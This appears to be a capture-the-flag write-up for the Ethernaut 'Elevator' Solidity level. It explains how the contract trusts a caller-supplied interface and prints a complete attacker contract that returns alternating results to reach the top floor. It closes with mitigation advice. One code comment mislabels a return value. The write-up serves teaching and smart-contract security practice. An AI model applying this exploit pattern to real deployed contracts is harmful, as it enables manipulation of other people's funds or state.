✅
Elevator
calling other contract
This elevator won't let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This
Elevator
expects to be used from aBuilding
.

ethereumbook/09smart-contracts-security.asciidoc at develop · ethereumbook/ethereumbook
GitHub
External Contract Referencing - Mastering Ethereum
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Note that the function
isLastFloor()
is called through an interface. When Building building = Building(msg.sender)
is executed, the target contract looks for isLastFloor()
in the msg.sender
contract and grabs its content.This feature was designed for modularity, but it paves the way for vulnerability since the content of
msg.sender
contract is out of control. As an attacker, we can deploy our own contract and implement a "malicious" version of isLastFloor()
to trick the target contract.In the function
goTo()
, isLastFloor()
is called twice:if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
We want
building.isLastFloor(_floor) == false
and building.isLastFloor(floor) == true
. Thinking abstractly, we just want isLastFloor()
evaluates to false
when it is called the first time, and evaluates to true
when it is called the second time. This "alternating" feature can be implemented with a counter.Write an exploit contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint _floor) external;
}
contract ElevatorAttack {
uint counter;
function attack(address target) external payable {
IElevator(target).goTo(0);
}
function isLastFloor(uint) external returns (bool) {
// Initially counter == 0
counter++; // Now counter == 1
if (counter > 1) return true; // Evaluates to false at call 2
else return false; // Evaluates to false at call 1
}
}
Deploy it and call the
attack
function.You can use the
view
function modifier on an interface in order to prevent state modifications. The pure
modifier also prevents functions from modifying the state. Make sure you read Solidity's documentation and learn its caveats.An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g.
gasleft()
.Last modified 6mo ago